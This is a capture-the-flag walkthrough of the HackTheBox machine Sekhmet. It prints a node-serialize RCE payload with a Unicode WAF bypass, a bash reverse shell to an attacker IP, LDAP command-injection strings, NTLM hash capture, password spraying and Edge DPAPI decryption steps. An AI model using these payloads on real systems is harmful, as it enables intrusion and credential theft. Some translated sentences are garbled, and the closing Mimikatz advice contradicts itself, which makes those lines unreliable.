HTB Sekhmet Walkthrough: Node.js Deserialization, WAF Bypass and DPAPI

HTB Sekhmet Insane,WriteUp Complete: insecure deserialization in node-serialize, bypass ModSecurity with Unicode encoding, ZipCrypto, Kerberos on Linux and DPAPI on Active Directory.
- Posted on 2026-06-04
- Reading time: 10 min
Difficulty: Insane | OS: Windows (with embedded Linux VM) | Release: September 2022
Sekhmet is one of the most complex machines HTB has ever released in the Insane category. It's not difficult because it requires obscure or zero-day exploits—it's difficult because each step requires you to truly understand what you're doing. The attack starts on an Express.js app with an insecure deserialization vulnerability in node-serialize, protected by ModSecurity. To bypass the WAF, you need to understand how it interprets requests compared to how the Node server interprets them. Then you land on a Linux VM joined to Active Directory, with a ZipCrypto-encrypted backup to crack, AD hashes to extract from the local sssd database, and a Kerberos escalation with ksuIn the second phase: lateral movement on the Windows DC with command injection on an LDAP attribute, capturing a Net-NTLMv2 hash, password spray, DPAPI on Edge and login as Domain Admin.
Recon #
nmap -p- --min-rate 10000 10.10.11.179
# PORT STATE SERVICE
# 22/tcp open ssh
# 80/tcp open http
nmap -p 22,80 -sCV 10.10.11.179
# 22/tcp OpenSSH 8.4p1 Debian 5+deb11u1
# 80/tcp nginx/1.18.0 → 403 ForbiddenTwo open ports. The server responds with a 403 root — there's a virtual hosting account active, and the server doesn't know how to handle the request without the proper credentials. Host: header. The OpenSSH version matches Debian 11 Bullseye. HTB shows the machine as Windows, but SSH on Debian immediately suggests a Linux VM inside a Windows host—a typical setup in simulated enterprise labs.
Subdomain Enumeration #
Visiting http://10.10.11.179 a redirect arrives to www.windcorp.htb. Let's add to the /etc/hosts and bruteforce the subdomains:
ffuf -u http://10.10.11.179 \
-H "Host: FUZZ.windcorp.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac -mc all
# [Status: 403, Size: 2436] → FUZZ: portalThe flag -ac (auto-calibrate) is essential: ffuf sends a few initial requests with random values to understand how the server responds to non-existent subdomains—it builds the baseline. From there, it automatically filters out all identical responses. Without -ac, with -mc all, you would end up with 20k false positives. We find portal.windcorp.htb right away.
Portal Analysis: Fingerprinting #
Su portal.windcorp.htb There's a login page. The response headers reveal the tech stack:
X-Powered-By: Express
Content-Type: text/html; charset=utf-8Node.js + Express. admin:admin It works. Logging in sets a cookie:
Set-Cookie: profile=eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOiIxIiwibG9nb24iOjE2ODAwMjM5Nzc1NzF9echo "eyJ1..." | base64 -d
# {"username":"admin","admin":"1","logon":1680023977571}Field logon It's a timestamp in milliseconds. The app shows how many seconds you've been logged in—so that cookie is deserialized on each request to calculate the difference.
Prototype Pollution: Dead End #
Before I got to deserialization, I spent a lot of time experimenting with server-side prototype pollution. The field logon reflected in the page was a classic indicator: trying constructor.prototype.logon=x in the cookie, the answer came back NaN seconds — confirms that the pollution was working.
But confirmed pollution isn't automatic RCE. You need a gadget—code in the codebase that reads from the prototype chain and does something useful. I tried. execArgv, shell, NODE_OPTIONS, classic vectors for child_process.spawn, getting nothing. No callback on the listener.
The lesson: when you're stuck on the same vector for hours without making any real progress, it's time to change direction. Prototype pollution was there, but it wasn't leading anywhere on this app. I changed my approach and looked at the cookie from a different angle.
Insecure Deserialization in Node.js #
node-serialize vs JSON #
node-serialize serializes JavaScript objects including functions — which JSON.stringify/parse does not do:
// JSON.parse — sicuro, ignora funzioni
JSON.parse('{"cmd":"ls"}') // → { cmd: 'ls' }
// node-serialize — pericoloso
var serialize = require('node-serialize');
serialize.unserialize('{"x":"_$$ND_FUNC$$_function(){ return require(\'child_process\').execSync(\'id\').toString() }()"}');
// → uid=1000(webster)...
The magic string _$$ND_FUNC$$_ is the trigger. When unserialize() meets her, reconstructs the function by passing it on to eval(). Internally:
if (val.indexOf('_$$ND_FUNC$$_') === 0) {
val = eval('(' + val.substring(13) + ')');
}IIFE: why is it needed? () final
#
// Funzione DEFINITA, non eseguita:
function(){ require('child_process').exec('id') }
// IIFE — definita e immediatamente eseguita:
function(){ require('child_process').exec('id') }()Without the () the final, eval() defines the function but does not call it. With the () It is executed immediately during deserialization.
Basic payload:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ping -c 1 10.10.14.X', function(error,stdout,stderr){ console.log(stdout) })}()"}Base64 encode, cookie profile → ModSecurity blocks with 403.
ModSecurity: Anatomy of the Block #
ModSecurity with OWASP CRS monitors in REQUEST-934-APPLICATION-ATTACK-GENERIC.conf the strings:
_$$ND_FUNC$$_function() {eval(String.fromCharCode(
The recent version of the CRS applies the transformation urlDecodeUni before the regex — decode both %XX and \uXXXX. The version on Sekhmet is older and does not include urlDecodeUni. This is the weak point.
The Unicode Bypass #
The mechanism #
Two actors, same string, different behavior:
- ModSecurity — parses the raw cookie as text, without decoding
\uXXXX - Node.js — ago
JSON.parse(), which natively supports Unicode escapes
If we write \u0024 instead of $ (codepoint U+0024):
- The WAF sees
\u0024, search for$$, not matcha — does not block JSON.parse()converts\u0024in$, the server gets_$$ND_FUNC$$_intact
Same logic for { → \u007b.
Final payload #
We proceed incrementally adding one token at a time until the WAF blocks again, then we encode that token:
{"rce":"_$$ND_FUNC\u0024$_function() \u007brequire('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.14.X/443 0>&1\"', function(error,stdout,stderr) {console.log(stdout)});\n}()"}Encode in base64, Burp Repeater as cookie profile, open listener:
nc -lnvp 443
# webster@webserver:/$Shell Upgrade:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset # Terminal type? screenLinux VMs: Enumeration #
Internal network #
ip addr
# eth0: 192.168.0.100/24
for i in {1..254}; do (ping -c 1 192.168.0.${i} | grep "bytes from" &); done
# 192.168.0.2 → hope.windcorp.htb (DC)
# 192.168.0.100 → noi stessisssd: Linux joined to AD #
ps auxww | grep sss
# /usr/sbin/sssd
# /usr/libexec/sssd/sssd_be --domain windcorp.htbsssd (System Security Services Daemon) connects Linux to Active Directory by intercepting PAM/NSS. To operate offline, it locally caches authenticated user password hashes in a TDB database. /var/lib/sss/db/. As webster We can't access it — but a filesystem backup might contain it.
backup.zip: ZipCrypto Known Plaintext Attack #
7z l -slt backup.zip | grep -E "Method|Encrypted"
# Method = ZipCrypto Deflate
# Encrypted = +zip2john It displays archive metadata—filename, size, CRC32—even without a password. The content is encrypted, but the metadata isn't. This is exactly what the known plaintext attack is for: if we can find the plaintext of one of the files in the archive, we can use bkcrack with the same file to break the encryption.
Why ZipCrypto is broken #
ZipCrypto is a stream cipher from the 90s with three 32-bit words as its internal state (K0, K1, K2). Biham and Kocher demonstrated in 1994 that with 12 consecutive bytes of known plaintext, the internal keys can be reconstructed independently of the password. These keys can be used to decrypt the entire archive.
There is in the archive etc/passwdLet's check that it is identical to the current file with the CRC32:
python3 -c "
import binascii
data = open('/etc/passwd','rb').read()
print(hex(binascii.crc32(data) & 0xffffffff))
"
# 0xd00eee74 ← identico al CRC nel backup.zip# Zip del plaintext noto
zip plain.zip passwd
# Recupero delle chiavi interne
bkcrack -C backup.zip -c etc/passwd -P plain.zip -p passwd
# Keys: d6829d8d 8514ff97 afc3f825
# Nuovo archivio con password nota
bkcrack -C backup.zip -k d6829d8d 8514ff97 afc3f825 -U backup-pass.zip pass
7z x backup-pass.zip # password: pass
# → etc/ e var/lib/sss/db/Hash extraction from sssd #
apt install samba # per tdbdump
tdbdump cache_windcorp.htb.ldb | grep -A 5 "cachedPassword"
# $6$nHb338EAa7BAeuR0$MFQjz2.B688LXEDsx035...wg2zX81Unix SHA-512 hash ($6$) by Ray.Duncan — saved by sssd for offline login:
hashcat ray.hash /usr/share/wordlists/rockyou.txt
# $6$nHb338EAa7BAeuR0$...:panteraEscalation to root via Kerberos + ksu #
kinit ray.duncan # password: pantera
klist
# Default principal: ray.duncan@WINDCORP.HTBksu is the Kerberos equivalent of su. Does not use /etc/sudoers — use the file /root/.k5users o /root/.k5login to decide whether the authenticated Kerberos user can become root.
ksu
# Authenticated ray.duncan@WINDCORP.HTB
# Account root: authorization for ray.duncan@WINDCORP.HTB successful
root@webserver:/home/webster## SSH persistente
echo "ssh-ed25519 AAAA... " >> /root/.ssh/authorized_keysPivoting to hope.windcorp.htb #
# Nmap statico sul DC
./nmap -p- --min-rate 10000 192.168.0.2
# 22, 53, 88, 389, 445, 5985, 9389...Classic DC — Open WinRM and SMB.
SOCKS Tunnel via SSH #
# Sulla sessione SSH: Enter ×2 poi ~C
ssh> -D 1080Alternatively, ligolo-ng is more convenient for multi-pivot environments, but here only one internal network — SOCKS is enough.
Let's configure Kerberos on Kali:
# /etc/krb5.conf
[libdefaults]
default_realm = WINDCORP.HTB
[realms]
WINDCORP.HTB = { kdc = hope.windcorp.htb }proxychains kinit ray.duncan
# password: panteraSMB Enumeration on the DC #
I ran into a problem here. The current impacket tools (smbclient.py, etc.) with proxychains and Kerberos on this configuration weren't authenticating properly—the connection would come through, but authentication would fail. I thought I was doing it wrong. I checked a specific reference and found the procedure was correct—it was the impacket version. With impacket v0.10, it worked fine.
proxychains smbclient -k -L //hope.windcorp.htb
# ADMIN$, C$, IPC$, NETLOGON, SYSVOL, WC-ShareWC-Share It's the only non-standard share. Inside:
proxychains smbclient -k //hope.windcorp.htb/WC-Share
smb: \> ls
# temp/
smb: \> cd temp
smb: \temp\> get debug-users.txtIvanJennings43235345
MiriamMills93827637
BenjaminHernandez23232323
RayDuncan9342211Four entries with username + number. This file is updated by something in the background. On NETLOGON:
proxychains smbclient -k //hope.windcorp.htb/NETLOGON
smb: \> get form.ps1form.ps1 is a PowerShell script that builds a GUI to update the attribute mobile in LDAP. The relevant part:
if ($result -eq [System.Windows.Forms.DialogResult]::OK) {
$x = $textBox.Text
$User.Put("mobile", $x)
$User.SetInfo()
}The file points straight to the attribute mobile. The numbers in the debug-users.txt They probably correspond to the users' mobile values. There's a script that reads the mobile attributes from LDAP every so many minutes and writes them to the file.
Command Injection via LDAP Attribute #
If the script reads mobile and uses it without sanitizing it, we have command injection. From the VM as root (we have a valid Kerberos ticket), we modify Ray.Duncan's mobile:
echo -e 'dn: CN=RAY DUNCAN,OU=DEVELOPMENT,DC=WINDCORP,DC=HTB\nchangetype: modify\nreplace: mobile\nmobile: 223223223' \
| ldapmodify -H ldap://hope.windcorp.htb
# SASL/GSS-SPNEGO authentication started
# modifying entry "CN=RAY DUNCAN,OU=DEVELOPMENT,DC=WINDCORP,DC=HTB"After about two minutes (cron time), debug-users.txt it updates:
RayDuncan223223223The value is reflected directly. Let's try injection with $(whoami):
echo -e 'dn: CN=RAY DUNCAN,...\nchangetype: modify\nreplace: mobile\nmobile: $(whoami)' \
| ldapmodify -H ldap://hope.windcorp.htbOutput to file:
RayDuncanwindcorp\scriptrunnerCommand injection confirmed. The script runs as WINDCORP\scriptrunnerLet's check the connectivity to us:
mobile: $(ping 10.10.14.X)sudo tcpdump -ni tun0 icmp
# 10.10.11.179 → 10.10.14.X: ICMP echo requestRCE on the DC as a scriptrunner, but we can't do direct reverse shell (AppLocker blocks external binaries). We're aiming to capture the hash.
Capture Hash Net-NTLMv2 by scriptrunner #
To get SMB authentication to our smbserver.py, we need to route through the VM — the DC can't reach our tun0 directly.
First, let's enable remote port forwarding over SSH:
# In /etc/ssh/sshd_config su webserver:
GatewayPorts yes
service sshd restartThen we reconnect SSH with reverse tunnel:
sudo ssh -i ~/keys/ed25519_gen root@10.10.11.179 \
-D 1080 \
-R 0.0.0.0:445:127.0.0.1:445-R 0.0.0.0:445:127.0.0.1:445 → the webserver listens on port 445 on all interfaces and forwards via SSH to our local smbserver.py.
Let's run smbserver.py (impacket v0.10):
smbserver.py hackita . -smb2supportLet's set the mobile attribute:
mobile: $(net use \\\\webserver.windcorp.htb\\hackita 2>&1)When the script runs, we capture the Net-NTLMv2 from scriptrunner:
[*] AUTHENTICATE_MESSAGE (WINDCORP\scriptrunner,HOPE)
[*] scriptrunner::WINDCORP:aaaa...:6dd2c5e5...:0101...hashcat scriptrunner.hash /usr/share/wordlists/rockyou.txt
# SCRIPTRUNNER::WINDCORP:...:!@p%i&J#iNNo1T2Password: !@p%i&J#iNNo1T2
Password Spray with Kerbrute #
scriptrunner is a service account without WinRM. However, the same password could be shared. Let's retrieve all domain users:
ldapsearch -H ldap://hope.windcorp.htb -b "DC=WINDCORP,DC=HTB" sAMAccountName \
| grep sAMAccountName | awk '{print $2}' > domainusers
# 597 utentiWe load kerbrute on the VM and launch the spray:
./kerbrute passwordspray -d windcorp.htb domainusers '!@p%i&J#iNNo1T2'
# [+] VALID LOGIN: Bob.Wood@windcorp.htb:!@p%i&J#iNNo1T2
# [+] VALID LOGIN: scriptrunner@windcorp.htb:!@p%i&J#iNNo1T2Bob.Wood uses the same password. From ldapsearch let's see he's in the group Adminusers e IT — likely WinRM access.
Shell as Bob.Wood #
proxychains kinit bob.wood # password: !@p%i&J#iNNo1T2
proxychains evil-winrm -i hope.windcorp.htb -r windcorp.htb
# *Evil-WinRM* PS C:\Users\Bob.Wood\Documents>We're in as Bob.Wood, but we're not Domain Admins. There's not much on Bob.Wood's home page yet—the focus is on DPAPI.
DPAPI: Encrypted Credentials in Edge #
Structure #
DPAPI (Data Protection API) is the Windows mechanism for encrypting secrets by tying them to the user's identity. The keys are derived from the user's password via master key. Edge (Chromium) stores passwords in a SQLite database (Login Data) encrypted with DPAPI.
The files we need:
C:\Users\Bob.Wood\AppData\Local\Microsoft\Edge\User Data\Default\Login Data— SQLite database with encrypted passwordsC:\Users\Bob.Wood\AppData\Local\Microsoft\Edge\User Data\Local State— JSON with the Edge-specific encryption key, which is in turn encrypted with DPAPIC:\Users\Bob.Wood\AppData\Roaming\Microsoft\Protect\{SID}\— DPAPI masterkey
For a complete look at the internal workings of DPAPI, the structure of master keys, and how to extract them, see DPAPI: Extract Encrypted Credentials on Windows.
AppLocker: Finding Where to Run #
Mimikatz is blocked by AppLocker. To understand what we can do and where:
get-applockerpolicy -effective -xmlThe policy allows execution from %WINDIR%\* with exceptions. Looking for common directories writable by normal users that are not in the exceptions list, we find C:\windows\debug\wia:
echo "test" > C:\windows\debug\wia\test.txt # funziona
copy \windows\system32\cmd.exe C:\windows\debug\wia\c.exe
.\c.exe /c echo "running" # funzionaIt's not in the AppLocker block list — we can run binaries from there.
Method 1: DPAPI Offline with pypykatz #
Edge File Exfiltration #
Local State It's a JSON that we can read directly. Login Data It's binary — we use certutil for encoding:
certutil -encode "Login Data" \programdata\logindata
type \programdata\logindata
# → base64 molto lungo, copiamo via terminaleA cleaner alternative, since we already have write access to WC-Share: we copy the files directly to the SMB share and download them from there without going through the clipboard or certutil:
copy "Local State" "C:\WC-Share\temp\state"
copy "Login Data" "C:\WC-Share\temp\logindata"From Kali:
proxychains smbclient -k //hope.windcorp.htb/WC-Share
smb: \temp\> get state
smb: \temp\> get logindataOr via smbclient.py (impacket v0.10):
proxychains smbclient.py -k -no-pass windcorp.htb/ray.duncan@hope.windcorp.htb
# use WC-Share
# get temp\state
# get temp\logindataMore convenient, zero intermediate encoding, intact binaries.
On Kali we decrypt and get the SQLite database:
file logindata
# logindata: SQLite 3.x databaseLogin Data Analysis #
sqlite3 logindata
sqlite> select origin_url, username_value, password_value from logins;
# http://somewhere.com | bob.wood@windcorp.htb | [cifrato]
# http://google.com | bob.wood@windcorp.htb | [cifrato]
# http://webmail.windcorp.com | bob.woodADM@windcorp.com | [cifrato]Three accounts — one is bob.woodADMThe encryption key is in Local State:
cat localstate | jq -r .os_crypt.encrypted_key
# DPAPI... base64Decrypt with pypykatz #
The process is in 4 steps:
# Step 1: pre-chiavi dal SID + password
pypykatz dpapi prekey password \
'S-1-5-21-1844305427-4058123335-2739572863-2761' \
'!@p%i&J#iNNo1T2' | tee pkf
# → 3 pre-chiavi SHA
# Step 2: masterkey decifrata
pypykatz dpapi masterkey \
a8bd1009-f2ac-43ca-9266-8e029f503e11 pkf -o mkf
# Step 3+4: decrypt Edge
pypykatz dpapi chrome --logindata logindata mkf localstateOutput:
user: bob.wood@windcorp.htb pass: SemTro32756Gff url: http://somewhere.com
user: bob.wood@windcorp.htb pass: SomeSecurePasswordIGuess!09 url: http://google.com
user: bob.woodADM@windcorp.com pass: smeT-Worg-wer-m024 url: http://webmail.windcorp.comMethod 2: SharpChromium On-Box #
Faster alternative: SharpChromium, a .NET binary that doesn't trigger AppLocker if loaded into the right directory.
# Da Evil-WinRM
iwr http://10.10.14.X/SharpChromium.exe -outfile C:\windows\debug\wia\scium.exe
.\scium.exe loginsThe output is identical to the offline method—same three passwords. Method 2 is faster, but requires uploading a binary to the target. Method 1 is stealthier.
Domain Admin: bob.woodADM #
bob.woodADM@windcorp.com This is clearly Bob.Wood's privileged account. The password saved in Edge for webmail is the domain password:
proxychains kinit bob.woodadm
# password: smeT-Worg-wer-m024
proxychains evil-winrm -i hope.windcorp.htb -r windcorp.htb
# *Evil-WinRM* PS C:\Users\bob.woodadm\Documents>whoami /groups
# WINDCORP\Domain Admins — Mandatory group, Enabledtype C:\Users\administrator\desktop\root.txt
# b5fd7823...OPSEC Notes #
Deserialization entry: payload spawns a child process visible in the process list. An in-process shell is preferred for production.
sssd hash extraction: working on a backup avoids live access to /var/lib/sss/db/ detectable by auditd.
Kerberos ticket: limited duration — use with long sessions k5start for automatic renewal.
Command injection via mobile attribute: stealth vector — does not require direct access to the DC filesystem, only write permission on the user's LDAP attribute.
Net-NTLMv2 capture: Captured via reverse SSH tunnel — zero traffic from tun0 to the DC, everything goes through the internal VM.
DPAPI offline: Decrypted on Kali — no DPAPI events generated on the DC, unlike Mimikatz direct on the machine.
AppLocker bypass: Instead of looking for exotic bypasses, identify writable directories that are not blocked by policy. C:\windows\debug\wia It doesn't appear in exceptions and isn't blocked — just copy the binary there.
Key Concepts #
- Prototype pollution needed to be confirmed but did not lead to RCE — when you are stuck too long, change vector
node-serializeuseseval()internally on the marker_$$ND_FUNC$$_— any untrusted data that arrives atunserialize()it's RCE- WAF bypass works because
urlDecodeUnimissing: ModSecurity sees\u0024as literal,JSON.parse()he interprets it as$ - Se
zip2johnshow files with CRC32 in a ZipCrypto archive, you have enough tobkcrack— the plaintext of the same file on the machine is the key - sssd caches AD hashes locally — a filesystem backup is like having the domain's SAM
ksuUse Kerberos, not sudoers — the ticket is the key- Field
mobilein LDAP it is user-writable to itself in many configurations — if a script reads it without sanitization, it is command injection - Same password on service accounts and real users is a real AD problem, not just CTF
- DPAPI offline does not generate events on the target — always prefer to run Mimikatz in-place





